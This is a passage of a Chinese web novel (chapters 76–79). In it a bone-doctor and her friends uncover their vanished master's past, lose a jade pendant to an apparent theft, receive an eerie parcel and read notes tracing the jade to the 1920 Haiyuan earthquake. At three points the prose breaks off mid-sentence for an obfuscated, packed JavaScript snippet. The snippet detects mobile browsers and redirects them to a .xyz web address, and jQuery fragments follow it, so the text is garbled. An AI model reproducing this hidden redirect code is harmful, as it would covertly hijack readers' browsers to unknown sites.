这其中,最离谱的莫过于他借着风水学交流的名义把许多人骗到了一个从未听说过的地方。自此以后,那些人中的大多数都没了踪影,而老马自己一回来就生了场大病,短短两天时间就去世了。那时马成林尚且年幼,故此,对于父亲所做的事,他也不清楚。 但砸摊子的人讲究一个父债子偿,他们才不管马成林知不知道、知道多少,他们只管让老马一家从老到小不得安宁就够了。 风水生意黄了以后,马成林一个人背着行囊跑到深山“隐居”去了,再出来时,他像个神棍一样四处跟人说自己找到了能长生的办法。周围人看他精神状态异于常人,又报了警,几番辗转之下,他被送往精神病院待了一段时间。 从精神病院出来以后,他倒是正常许多了,最初还有些沉默寡言,到后来也慢慢开始和人正常交流了。最近几年,他不知怎么的,时常念叨着要一心向善,收养并资助了几个孤儿院的孤儿。 “在整件事情中,你们知道最让人震惊的是什么吗?”卫斯诚的表情略有一丝夸张,更加勾起了听者的好奇心。 “什么?” “两封葬礼请柬,第二个葬礼的主角是刘猛姐姐的儿子,这是其一。其二,马成林当时住过的精神病院就是杨叔家的那个精神病院,房间就是小猛住过的房间,要说是巧合的话,那也未免太难让人信服了。” “你上次说,你救过的那个姑娘,叫裴心,她知道关于第二个葬礼的具体情况吗?”说起葬礼,姜泠突然想起这么一号人。 “怪就怪在这儿。”洪钟深深叹了口气,“那个叫裴心的姑娘,我师叔,还有成俐的父母,现在统统联系不上了。” “纠正一下哈,成俐父母是搬家了,但他们对裴心的情况也知之甚少。”卫斯诚补充道,“马成林收养的孩子被送回了孤儿院,什么消息都没留下。我也找了老郑帮忙,他说马成林从古城回去的第二天就出门了,走的时候什么都没带。” “这些和师父有什么关系?”姜泠捋清了一系列事情发生的逻辑,问出自己最关心的问题。 “这就要说回到那几句话了。” “‘低贱身,破烂命,心怀鬼胎千金魂;七月七,九月 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14822459|142863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 九,月隐花落披孝衣。’你猜猜这句话是谁写给马成林的?” 姜泠心里隐约有了答案,但她还不太确定,决定等师弟给出结论。 “我们师父。”卫斯诚把一张泛黄发脆的便笺递到对面,“这是我们报警以后,和警察一起去马成林家的时候找到的。你看看落款日期,二十年前,上面也是师父的字迹,这说明什么?这说明师父和他早就认识!可这么多年来,我们谁听师父提起过这么号人?” “而且,在古城里,那座摆放骨灰的宫殿还记得吗?那座宫殿前面有个书架,我在那里也看到过师父的笔迹。这又说明什么?” “师父和杨叔是很多年的好朋友,他二十年前的笔迹出现在马家,马成林又在杨叔的医院里待过。更巧的是,哭木宫里也有师父的字迹,计枵告诉在去六溪前告诉我有师父的下落,然后他带走了马成林,也拿走了师父的琴。而我,本该和古城一起被埋葬的,偏偏被人救了出来,还丧失了一段时间的记忆。” 姜泠分析着刚刚听到的一切,无比冷静地回答,“说明师父和马家、计枵之间的关系匪浅,至少不仅限于认识的地步。中间再加上小猛、裴心、还有骨洞,怎么看都像是他们合伙设了个圈套引我们中招。” “聪明人。”洪钟竖起大拇指频频点头。 “还有更巧合的。”卫斯诚今天似乎藏着无数重磅消息,一个接一个,让人一时间反应不及,“你看这张照片。”—— 一张灰白老照片,上面的主角是一个身穿马褂长衫,戴着圆框眼镜的男人。男人左手抱着一个小男孩,右手摇着拨浪鼓,看上去十分亲和。他身边还站着一个温柔贵气的女人,她挽着他的胳膊,关系亲密。 “这是?”凌岓似乎在哪见过这张照片上的男人,只是一时间想不起来了。 “我师父。” 骨医的第一课就是要对人体的每块骨骼都十分熟悉,即便是有人整了容,但作为基底的骨头不变,骨医就能轻易分辨出是不是同一个人。姜泠最初学这些的时候,殷漠和卫斯诚就是她用来练习的对象,对于这两个人的骨骼特征,没有人再比她更加熟悉。 拍摄这张照片的年代还不存在整容一说,上面的男人方脸高颧骨,即便年龄不同,气质也不同,可姜泠还是一眼就认出来了殷漠。 “这个孩子是谁?”她问。 “小猛爷爷,亲的不能再亲的爷爷。”卫斯诚答,“我去拜访了一趟老刘家,见到了他爷爷的照片。他爷爷和小猛小时候长得一模一样,年轻时候也几乎完全相似,唯一的区别是小猛左脸上有颗痣,他爷爷没有。” “他说小猛是他在路上遇到的走失儿童,现在连这句话是真是假我都分不清了。”殷漠一手带大的徒弟现在也只能苦笑。 “沈医生看到师父的时候,他身边的女人就是照片上这位。除此以外,我们从古城出来的那天,有人曾在附近见到过师父,他们说…说…” “说什么?” “说见他当时背着一个昏迷不醒的姑娘,听描述,那个姑娘应该就是姐姐你。” 这句话说完,所有人都沉默了。在今天以前,姜泠无比殷切地想要知道关于师父的下落,哪怕只有一点蛛丝马迹她都不想放过。但现在,成堆成堆的信息被赤裸裸地摆在面前,她反而觉得不知所措。 从她记事起,殷漠就是个很和蔼的小老头,每天乐呵呵的,似乎这世界上没有任何事情能让他难过。自己的一身本事都是小老头教的,为人处世的道理、文理知识也都是他教的。 “做人要诚实,无论如何都不能撒谎骗自己最亲的人。” “师父没有任何秘密,师父的所有事情你们俩都知道,哪有什么隐瞒不隐瞒的…” 事实证明,说是一码事,做又是另一码事。师父的形象在此刻一点一点有了裂缝,比起继续信任他,姜泠更希望知道这团迷雾背后的答案。她习惯性地伸手摸向背包里的玉玦,心里却一空——玉玦不见了。 77. 第七十七章 姜泠的背包里有一个很隐秘的夹层,别说是其他什么人,就连一起长大的卫斯诚都不知道夹层的存在。除非要用到,否则一般情况下,玉玦都会放在夹层里贴身背着,许多年也未曾出过意外。 玉玦的主人伸手摸了个空,登时便惊出一身冷汗,但她没有声张,只认认真真把背包、口袋和行李箱都挨个翻了一遍——结果依然是没有。 “怎么了?”凌岓最先察觉到反常,“是有什么东西找不到了吗?” “嗯,玉玦没了。”姜泠回答得很淡定,就好像不见的并非玉玦,而是什么无关紧要的东西。 “啊?”卫斯诚猛地站起来,“这怎么可能?什么时候不见的?在哪发现不见的?有没有可能是姐姐你塞到哪儿自己忘了?” “就在刚刚,这里,它消失了。”姜泠回答道,“我放东西的地方固定,不可能是忘了放到哪儿。” “还是再找找吧,实在不行咱调监控看看。”洪钟说完,立即对吃饭的房间展开地毯式搜索,无果。 “应该不会是在飞机上丢的。”凌岓仔细回忆着从北京到禾城的路途,并未发现不妥,“你的背包一直都随身背着,基本没可能在你毫无察觉的情况下拉开包偷东西。从上飞机到这儿,我们一直在一起,没有和可疑的人发生摩擦或者接触。如果包没坏,那也不可能落在回来的车上。” “对。在进来坐下以后,它还在。”姜泠顺着自己的行动轨迹往下想,“只有一段时间人和包是分开的——刚才火灾,都急着往外跑,东西也没来得及带。” “那就是有人利用这段时间潜进来偷的?”卫斯诚又摇摇头,“可这个房间是指纹锁啊,只有在这儿吃饭的人才能打开。我们回来的时候,门和门锁都是完好无损上锁的,窗户也没开,外人应该进不来才对。” “琢磨这些没有用,当务之急是先看看监控吧。”洪钟深知那块玉玦的重要性,故此也像只热锅上的蚂蚁一样在原地转圈。 为了保障食客携带物品的安全,春亭小筑四处都是监控,每隔三天就会有专人对摄像头进行检查,以确保它们不存在故障问题。此外,监控室里六个人轮流当班,时刻盯着用餐点和后厨的安全。 监控室和大厅外面隔着一道防火门;室内安装了全自动烟雾感应喷淋器,如有异常烟雾就会触发自动报警和喷淋系统;门口还放着不同功用的各色灭火器,真要发生火灾,整个监控室几乎是最安全的地方。故此,刚才隔壁的火灾发生时,监控室里当班的人压根没往外跑,他坐在自己的工位上,稳如泰山。[1] “张哥,刚才有没有什么可疑分子潜入咱这里偷东西?”到了监控屏幕前,卫斯诚开门见山问道。 “绝对没有!”今天的值班组长叫张正,为人踏实负责,自春亭小筑开张以来,他就始终兢兢业业,一点差错都没出过。 “张哥,辛苦你把今天的录像调出来给我们看一下,我这儿丢了点东西,想找找线索。” 张正一听这话赶紧照办,心里却也七上八下打起鼓,生怕是自己疏忽大意错过了进来小偷小摸的贼。 从今早六点小筑营业开始排查,一直看到下午一点,别说吃饭的房间,整个小筑都不曾有任何一个生面孔出现,可疑分子更是无从谈起。玉玦就像自己长了翅膀般无影无踪了。 “我再看一遍。”卫斯诚还是不信世上真有武侠小说里“隔空取物”的事情发生。 看来看去,火灾发生时,走廊里还是一个人都没有。再换到吃饭的房间里,一样没有人出入,恰在此时,凌岓发现了问题。 “稍微往前切一点。” 张正握着鼠标把进度条往前拉了拉,然后听见站在老板身旁的男人说,“你们看,背包被拉开了。” 进度条反复在前后切停,果不其然,上一秒背包的拉链还在右侧,下一秒那拉链就到了左边,只是因为镜头离背包还有段距离,所以拉开的缝隙并不显眼。 “这,是鬼吧?”洪钟冷不丁冒出这么一句,叫人哭笑不得。 “不是鬼,十有八九是监控录像被做过手脚。”凌岓回答他。 “那怎么可能!”张正一脸正色道,“我们一直就在这儿守着,不可能被人动手脚!” “老张别激动,没说是你。”卫斯诚本来是想安抚张正,却无意间瞥见他后面的新面孔迅速低下头,拒绝和人对视的样子。 “这位小兄弟看着挺面生,新来的?” “嗯。”新面孔声音很小,头都快低到地上去了。 “他叫李元,前几天刚来的。这孩子年纪比较小,人内向,说话声音也小,别说你们了,我有时候坐在他旁边都听不见他说的啥。” 张正平时就是监控室里的老大哥,人好,也经常给别人帮忙。他从卫斯诚的语气中听出些怀疑的意味,赶紧替年轻人说话,“人虽然是腼腆了些,但是工作起来还是很尽责的。本来今天也轮不到他值班,孩子人好,才答应和小王换班的。” “别紧张,我又没别的意思,就是想问问他,看看有没别的线索嘛……” “我坦白!”——说是内向,实则不鸣则已,一鸣惊人,李元低头站起身,就像一个被当场抓获的嫌疑人。 “坦白…什么?”张正先吃了一惊,生怕李元说是他干的。 “那会儿张哥去上厕所,我闷得慌,就…就…” “就什么?就潜入房间翻了包里的东西?还是删改了监控记录?” 或许是卫斯诚声音过于洪亮,李元把身体弓起来,像只虾米,声音更弱了,“我就出去抽了根烟。” “嗨哟,我还以为你要说嘛惊天大秘密呢!”洪钟拍了拍脑袋,一脸恨铁不成钢地教育他,“年轻人,第一,以后说话声音要大一点,你至少让人能听清你说了个嘛。第二,说话不要大喘气,容易把人急死。” “那也就是说在那段时间里,监控室没人?”凌岓听明白李元的意思了。 “对…还有一个杨哥,他下午才来,上午就我和张哥俩人在,张哥说出去解个手,我就…” “那你为嘛不就在这儿抽呢?” “我怕那个火警会响…” “监控室里没人,大概持续了多长时间?”姜泠并不责备谁,她只怪自己没把玉玦贴身带着。 “十分钟左右吧…我在旁边那楼道里,也没听见什么动静,谁能想到…” “你呀!”张正听得窝火,只想劈头盖脸把年轻人一顿臭骂。他忍住一肚子气,对卫斯诚说,“这事儿我也有责任,是我没把工作安排好。您丢的东西不管多少钱,我们都赔。” “赔?”卫斯诚瞪圆了眼睛,“老张,不是所有东西都能用一个‘赔’字解决的。你们这…” “算了,他们也不是故意的。”姜泠把自家师弟往后拽了拽,及时打断了后者即将脱口而出的怒火,“真要算起来,还得怪我没把自己东西看好。出了问题就先解决问题吧,现在也不是责怪谁的时候。” 年轻人连声道歉,丢了东西的人却反过来安慰他:“别担心,谁也没想到会出这种问题,不都是你的错。” 李元偷偷看了一眼姜泠,心里十分感激她帮自己解围。 “把这盘带子给我吧,我找朋友试试,看能不能恢复里面的数据。”凌岓就在认真想办法,“那玉玦,会和你有什么特殊感应吗?” “它现在还没变完整,要说感应到在什么位置,那不可能。但除了我,没人能用得了它。” “也就是说,这东西在别人手里充其量就是块普通的玉?”洪钟悬着的心总算能放下一点了,虽然有且仅有那么一点。 “理论上来说,是这样的。”姜泠突然想起什么,说道,“如果没记错的话,师父的笔记里好像有提到过玉玦的来龙去脉。我回去找找,说不定能发现什么好办法。” “一起走吧,留在这儿意义也不大,也指望不了小偷会给人送回来。” 卫斯诚默默点点头,然后重重拍了拍李元的肩膀,留下一句“好好干吧,下不为例。” 话说自从卫斯诚查到那些一团乱麻的线索后,殷漠此人在他两个徒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14840827|142863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弟的心里就变得高深莫测起来。 自他走后,姜、卫两人除了正常进他的房间打扫之外,从没碰过他的东西。但这次不同,一方面玉玦丢了,去殷漠房间里找线索成为办法之一;另一方面,小老头骗人骗得太多,一朝形象动摇,徒弟们就迫不及待地想要探寻他失踪的真相和他一直隐藏的秘密。 卫斯诚外出了许久,姜泠自古城以后就没再回过四合院,于是殷漠房间就许久没有得到清理,书架上已经积了一层薄薄的灰。 殷漠什么类型的书都有所涉猎,但还是以史籍和对古代民俗进行研究的书目更多一点。书架的上三层全是史书,有许多书的书脊都被翻得有些松脱,这就不得不让人在翻看它们寻找里面的笔记和夹页时格外小心一点。 细灰扬起,前三层的书中什么也没有。第四层是一些儿童读物,从封皮的颜色来看,应该是书架里最久没有被人翻开的一层书。这些漫画、童话和带有拼音注解的名著读本是殷漠买给两个徒弟的,后来他们长大了,这一层自然也就没有再翻看的必要了。正因如此,姜泠他们也下意识忽略了这一层。 倒数第二层是一个大抽屉,上面挂了一把大铁锁。锁的样式在以前很常见,只是锁芯已经斑驳落了一身锈。 “这锁怎么办?撬开会不会太没礼貌了?”洪钟拉了拉铁锁,左右为难。 “撬吧,大不了给换个新的。”作为调查资料的直接接触人,卫斯诚早就无所顾忌了,什么隐私不隐私,在他这里完全不重要。 “交给我吧。”—— 凌岓出马,一个顶俩。早在密室就见过的溜门撬锁技艺此刻又“重现江湖”,三下五除二,大铁锁就被他轻松打开了。 “小凌子,你可真是做贼的一把好手啊!”洪钟发自内心地感叹道。 抽屉里放着四个大铁盒,上面分别挂着四把和大铁锁样式差不多、个头却小了很多的锁,不必说,它们很快都被“手艺人”撬开了。 铁盒子里是成沓成沓的老照片,有一些是殷漠和别人的合照,有一些则完全不知道是谁。 姜泠在自己负责的盒子里找到了一张合照,上面的女人正是卫斯诚在小筑递过来那张照片上的女人。不同的是,这张照片显然是原片,尽管照片上的四个角已经泛黄蜷起了,可大体上还是被保存得很好。 借着原片,姜泠看得更仔细了,这是一个十分漂亮的女人。她看起来大约四十出头,身材高挑,极有风韵。 拍照片时,女人穿着一件毛领大氅,脚上踩着一双高跟女靴。她的耳下挂着水滴形的耳坠,从照片上的颜色深浅来判断,大约是碧绿色的,而那只挽住殷漠的细腕上还有只贵妃镯,看起来不是寻常人家能戴得起的物件。 照片背后有两行字,两行的笔迹却不同。 第一行字迹的笔锋遒劲有力,一看就出自殷漠之手,上面写着: “1931年冬,与妹阿欢、儿小雨在南京梧桐照相馆合。” 第二行字迹娟秀小巧,更像是知书达礼的姑娘写下来的话: “丹心寸意,愁君未知[2]。” “这是哪个姑娘在写暗恋呢?” 洪钟已经翻完了自己那一箱子老照片,里面什么有关玉玦的线索都没有,他见姜泠对着手上的照片发愣,一凑过来就看见了这句话。 其他两人闻讯而来,也看到了这两句话。 “看样子,这可能是你师父的妹妹和儿子。”凌岓注意到第一行字的称谓,对照片上三人的关系有了个大概了解。 “妹妹?”—— “那个女的挺有气质的,她好像叫大叔‘师哥’……” 在藏寨,沈径霜的一番话突然于脑海中想起,姜泠仔细看了看照片上的人,自言自语道,“难道阿欢是师父的师妹?那她应该也是骨医,或者,和阿诚一样——知道有关于骨医的一些事情才对。” “你说什么?什么师哥师妹?”凌岓大约猜到了姜泠话中的意思,想要确认,却听见洪钟说: “这张照片上有你的玉!” 78. 第七十八章 姜泠拿着的老照片下还有一张彩色照片,这张照片的主角不是人,是一块完整的玉石。玉石是椭圆形的,光泽度很好,从照片上来看,应该就是姜泠丢失的玉。只是拍摄照片的时候,玉还没有被做成玉玦,也没有缺少边角。 照片后面依然有字,笔力遒劲,是殷漠写的—— “冬至,寻得宝玉一块,此玉自昆仑山脉取得,性极寒。” “砰”一声,有人撞到了院门上。有了上次的教训,众人不再倾巢出动,凌岓和姜泠留在屋子里看着殷漠的东西。 “谁?” 卫斯诚打开门,一个人影都没见到。他四处看了看,只见门前多了一个包裹,包裹被黄色宽胶带层层缠绕着,胶带上用黑色记号笔写着斗大的三个字:姜泠收。 卫斯诚小心翼翼地把包裹拿起来,里面的东西很有分量。他将包裹放在耳边轻轻晃一晃,什么声音都没发出。 包裹拿进屋,四个人围成一圈把注意力从照片转移到包裹上。 “会不会有埋伏?”洪钟戏瘾犯了,模仿着港剧里的腔调问道。 “能有啥埋伏?”卫斯诚并不接茬,直愣愣戳破对方的幻想,“就咱这几块料,哪个值得专门设个埋伏?还专门掏运费送到家门口?” 凌岓被眼前一对活宝逗笑了,他拿着刀把胶带割开,开箱之前还不忘对洪钟说,“老洪,你要不要站远点?这样万一真有个炸弹啥的,你也好帮我们处理后事。” “说嘛呢!”洪钟赶紧摆手,“知不知道一语成谶?说话要避谶,快把刚说的吐掉!” “呸呸呸。”凌岓顺着对方的意,然后一把掀开了纸箱。 “这…恶作剧还是?”看着箱子最上面的东西,卫斯诚只觉得瘆人—— 一顶黑色假发被放在第一层,长发戴在头形模具上,乍一看还真以为是个人头。 凌岓对这些东西无感,他把假发抓起来放到一边,掀开隔在箱子中间的纸板一探究竟。 纸板底下放着四样东西:一只碧绿的贵妃镯,一块老怀表,一个宛如出土文物般老旧的豁口空碗,还有一截白骨。 “恐吓信?”洪钟已经脑补出了一万个小剧场,他看着那截发黑的骨头,总感觉身上凉飕飕的,“咱要不还是找警察叔叔吧,这指不定是谁身上的…” “这个镯子,好像是阿欢的。”没等洪钟脑补完,姜泠已经直直拿起镯子和照片上的做对比了。 “光看样子的话,好像是。” 凌岓本想转头去拿那顶假发,谁想手刚一碰到发丝,假发就自己动了起来。洪钟惊得张大了嘴,连找地方躲都忘了。 假发自动分成几绺,然后一缕一缕地编起来,仿佛有个无形的人在为这顶头发做造型。这场面有些惊悚,一直到它自己编完发型以前,围观的人都没有一个吭声的。 “我还以为要编个中国结呢。”卫斯诚在洪钟的惊呼下提起假发,疑惑道,“这是个什么造型?” 盯着那假发编成的环形看了半天,洪钟恍然大悟,“这不就和小姜那个玉玦一形状嘛!只不过小姜的玉缺了好几角,所以看起来不像个环。完整的玉玦就应该长这样,跟一有缝的铜钱似的!” 听了洪钟的话,姜泠把视线转移到了那截骨头上。她拿起来端详了好半天,幽幽说道,“这是人体胫骨,来自于一个成年男性。根据我的经验,这截骨头是在他还活着的时候被取下来的,应该很有些年头了。” “有意思。一个照片同款镯子,给骨医送一截骨头,再把头发结成我们最关心的玉玦形状,你说寄东西的人是故意的,还是故意不小心的?” 答案呼之欲出,当然是刻意为之。 “那我们不用找帽子叔叔了?”洪钟知道,接下来估计又要有一次外出了。 “一开始也没打算找。”姜泠把胫骨掉了个头放回盒子,拎起假发道,“这大约是给我的考验吧。看我能不能凭着这三样东西找到它们的主人。” 殷漠的两个徒弟毕竟一起待了很久,对于师姐心中所想,卫斯诚一猜即中。他把洪钟和凌岓拉到院子里,然后轻轻关上师父的房门,让姜泠独自待在屋中寻找物主。 也许是一起经历过的事情不少,被拉出门外的两人没有任何多余的提问,来到院里,他们抱着一堆剩下的老照片继续各干各的,有条不紊。 屋子里的灯突然灭了,凌岓下意识生出担心,可当看到卫斯诚气定神闲的样子时,他又明白过来这是姜泠的常规操作。 待老照片们全都被移开以后,洪钟突然发现铁箱最下面压着几张医院抬头的信纸,信纸足足有几十页,上面密密麻麻记录着殷漠近几十年来的发现。 殷漠的这些记录于别人而言或许如同天书般难懂,但在洪钟看来,这是很容易理解的。从第一页看到最后一页,他总算弄清楚了这块玉玦的来龙去脉,恰在此时,姜泠也从房中出来了。 “刚好人到齐了,我有重大发现!”说书人放下手中的信纸,将其中几十页的内容讲给众人听。 1920年,殷漠在西北一带游走,彼时正逢乱世,民不聊生,骨医的生意反而因此好了起来。同年十二月十六日晚上八点左右,山崩地裂,江河湖泊在顷刻之间干涸,蛇虫鼠蚁仓皇逃窜,家禽牲畜无不发出凄厉地惨叫。 村落在大地开合间消失,镇甸和县城转瞬化为齑粉,一大半人葬身土石砖块下,剩下的人在呜咽和绝望中等待死亡降临。 “这说的是海原大地震。”凌岓了解过殷漠记载的这段历史,“八点五级地震,将近三十万人遇难,我记得鲁迅先生好像还记过这件事。” “没错,海原大地震,相当于十一个唐山地震。”洪钟点点头,继续讲述手记中的内容。 天灾发生时,殷漠当时正位于河西走廊最西端的嘉峪关给一位地主家的幼子接骨,一听闻此事,连夜搭上一辆牛车赶赴海原救灾。 地震之后,哀鸿遍野。震中地处西北,交通不便且信息闭塞,再加上当年的时局还处于军阀割据的混乱状态下,因而等待上面拨款救援实属天方夜谭。等牛车赶到时,殷漠只看到了一座人间炼狱。 古人说,大灾之后必有大疫。个人的力量在这种级别的灾难面前太渺小,殷漠只好用骨医之间独有的联系方式给其他人传信。很快,近百位骨医从四面八方赶来,他们平时混迹在人群之中,看不出什么特别之处。但在这里,他们却像一支训练有素的军队,身怀绝技且反应迅速。 “近百位骨医?那时候有这么多人?”凌岓着实吃了一惊。 “那必须的!毫不夸张地说,再往前追溯追溯,骨医的人数比那时候还多!”对于这一行的历史,卫斯诚基本能做到烂熟于心,“大概是建国以前吧,记载说有一场巨大的浩劫,具体是什么没说,但那次浩劫过后,骨医这个行当就基本绝迹了。” “原来如此,老洪你继续说。” 洪钟翻了翻手中的信纸,表情愈发凝重,“后面就是关于那块玉了,你们得有个心理准备。” 1920年12月22日,冬至,距离大地震已经过去了六天。残垣断壁之下活着的人寥寥无几,地下亡魂残留的一口怨气倒是越积越重,大有要从地下破土而出的势头。 就在众骨医商议着以秘法平息怨气时,一道奇光从附近一座被夷为平地的村落废墟底下发出。众人想方设法将奇光上面的东西挪开,继而在一片灰扑扑的土石瓦砾之下发现了一块玉。 这块玉通体雪白,质地温润,玉后面还绑着一朵绽开的昙花。最古怪的是,经历过如此强烈的地震,这块玉一点破损都没有。整块玉洁净如初,别说细小的裂缝,在废墟下埋了这么久,玉身上连一点尘土都没沾到。 骨医中有一些德高望重又见多识广的老人,见此情形纷纷议论起来,然而这样的事情到底还是太匪夷所思了,众人议论到最后也没得出任何定论。 可笑的是,灾情传播的速度还没有发现奇玉这一消息传播得快。自这块玉现世后,附近幸存的村民、官员甚至行踪不定的土匪商贩便都盯上了它。 在玉玦第一次丢失 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14853728|142863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以后,殷漠等人还为自己没看好它而懊悔不已。可没多久他们就发现,这块玉不会被轻易盗走——每一个得到它的人都会在三天之内因为各种奇怪的意外去世,然后玉石就像长了腿,在次日清晨又回到殷漠手边。 这样的事情被传出去,原本的奇玉就变成了邪玉,纵然有人再觊觎,为了自己的命着想,也不敢再轻举妄动了。 但这块玉的奇异之处并不止于此。自它从废墟中现身后,地底下那股极浓厚的怨气也不见了,地缝中的尸骨被十分轻易地找到,原本干涸的河道中又重新出现了河水。 寒冬腊月,别说是普通的小河,就算流经甘肃青海段的黄河都会结上一层肉眼可见的冰。然而这条河却不同,自重新有水以来,河面非但没结冰,反而水量越来越大,流速也愈发快了起来。 除了河水,玉身上绑着的昙花也成为一众人称奇的理由——这朵花明显是在绽开时被摘下来的,可过了这么长时间,花既不凋谢,也没干枯,反而比长在原茎叶上开得更好。 陨灭于天灾中的遗骸能善后的都被骨医善后了,地下亡魂的怨气也已尽数散去,殷漠没有久留的原因,便把白玉交给了一位老骨医后离开了。 不久以后,殷漠从另一位朋友那里得知老骨医自杀的消息,而那块白玉也又一次上演了在海原的那一幕——在老骨医死后的第二天一早,它就出现在殷漠枕边,连带着那朵昙花也在。 殷漠惊出一身冷汗,他想离这块玉远一点,却发现无论把它丢到哪、交给谁,没过几天还是会回到自己手里。 他到处托人打听有关这块玉的信息,可受托的人要么一去不返就此失联,要么讳莫如深缄口不言。至此,殷漠也多少明白了,这块玉注定只能和自己有联系,如若再将他人牵涉进来,那只会叫无辜者白白受牵连。 “上面写了,这是一块产自昆仑山脉的玉石,不知道为什么会出现在当时的海原。这块玉在你师父身边跟了一段时间以后,他发现,它能吸收死人的怨气,能让植物枯木逢春,让活人容颜不老。” “所以,殷师傅看着是个五六十岁的小老头,实际年龄要远比这更大?”从1920年那段经历开始,凌岓就一直在想这个问题。 “估计是。一直到二十年前,他路过此处,偶然救下一个小女孩……”说书人突然顿住了,他拿着信纸看了一眼,表情古怪。 “怎么了?”姜泠问。 “没怎么。”洪钟脸上的异色很快褪去,然后他用一两句话就将后面的内容概括了,让听者有种虎头蛇尾的感觉: “你师父发现这块玉的神奇功用后,想办法用这块玉给小姑娘续了命,这块玉后来就变成了她的半颗心。” 至此,傻子都明白最后这两句话里的“小姑娘”指的是谁了。三道目光齐齐落在姜泠身上,当事人脸上却半分异色都没有,她问洪钟,“还有别的吗?” “没…没了。”—— 洪钟下意识把信纸往身后揶,然后又慢半拍反应过来这是此地无银三百两的举动。最后信纸被他攥在手里,藏也不是,不藏也不是,好在姜泠没提出亲自看一看纸上内容的要求,他这才慢慢松了口气。 “那我也说说我的发现,那根胫骨的埋葬地找到了。” “在哪儿?”卫斯诚不假思索问道。 “在青海。” “那镯子和头发?”信纸的每一张都标了页码,洪钟一开始就发现中间有缺页,缺失的那几页之前的内容和镯子的主人有关,但为了不让姜泠看到后面的内容,他只说镯子,绝口不提缺页的事。 “它们属于同一个人,而且它们的主人还活着,现在也在青海。”姜泠把洪钟的表情和举动记在心里,却并不提出任何疑问,她说,“如果我的能力没退步的话,那只要找到了埋骨之地,也就能找到镯子的主人。” “既然邀请函都寄到家门口了,不去一趟多说不过去。”凌岓替骨医说完了最后一句话。 新的旅途又要开始了,尽管前途未卜,但几个人却都十分坚定。 79. 第七十九章 以往特别忙的时候也有,只是今年格外不常见——从今年下半年开始,凌岓就几乎就没闲过。由于卫斯诚多提了一嘴中秋时何槿颐来过的事,姜泠听了,便也觉得有些过意不去,打算找凌岓好好聊聊。 至于洪钟,一方面他想找马成林问个清楚;另一方面,他还要偷偷摸摸把殷漠的信纸藏好,心里想着最后那两页内容能瞒一天是一天。 说起来只有卫斯诚一身轻。放养多年,明樾和卫父也很少管他,家里钱管够,外面有个能力卓群的师姐保护,除了姜泠失踪那段时间,卫斯诚就没有焦虑的时候。 虽说卫斯诚看起来没心没肺,但他很有眼色。在衡阳时,凌岓与他的联系不少,但三句不离姜泠,聪明如他,早就猜出某些人的心思“不单纯”了。 说完何女士拜访的事,卫斯诚找了个由头哄走了洪钟,诺大的院子里就只剩下一男一女两个人。 “时间…” “要不…”—— 一出声,这两人又是毫无预兆的默契。月色明亮,把姜泠流畅的侧脸勾勒得十分温婉。短暂的沉默后,照例是她先开口: “青海,你就别去了吧。” 闻言,男人猛然抬起头看向她,他想提出反对,但对方没给自己这个机会。 “你听我说完。从巴那开始,我们似乎总能碰到一起,这的确说得上是缘分。除了小诚,我其实没什么社交可言。巴那以后,认识了你,认识了洪钟,还有之胖和老郑他们…这于我而言,已经很难得了。” “在我很小的时候,师父老跟我说,人总是要面对分别的,在这世上,最值得留恋的就是人与人之间的感情,但最脆弱的恰恰也是感情。做骨医的这几年,我也见证过许多生离死别,以前不能理解,但对于那些人的痛苦,多少能感受到一点。” 凌岓不再想着打断她说话了,他深深望着她,无比认真地听她说的每个字。姜泠很温柔地笑了笑,对他说: “你这么一看,我都不知道该怎么说了。” “想到什么就说什么,想怎么说就怎么说,我在听。” “在巴那以前,我很抗拒与人交往。我见过的所有人和所有事不过是萍水相逢,对他们喜怒哀乐的共情也仅限于一瞬间。可能因为我真的没有心吧。见多了人与人的离别,有时候甚至会对离别前的哭喊不耐烦。与人深交,从没想过。” “但不是什么事情都能随心所欲的。巴那、六溪、芝则,我自己都说不清为什么素昧平生的两个人会一起经历过这么多事。玉玦是我的半颗心,每修复一角,我似乎就能感受到多一点感情。所以到现在,对你,对小诚,对洪钟,还有离我们很远的径霜,我都不能再像以前那样坦然了。” “古城的事情你也看到了,危险是真实存在的,所有的一切都不是在做梦。师父究竟出于什么目的我不清楚,但此次青海之行,未必能再有以前那种好运。你本来就不该被卷进来,这一次,就当和这些破事做个了断吧。” “我有自主选择权吗?”凌岓笑答,“这种事情应该会尊重本人意愿的吧。我不想就此退出,这不叫了断,这叫半途而废。故事听了一半就离场,这不是我的作风。” “在青城山,你看到了什么?”姜泠话锋一转,问起了当时老树精制造的幻境。 “你说什么?”被问到的人反应不及。 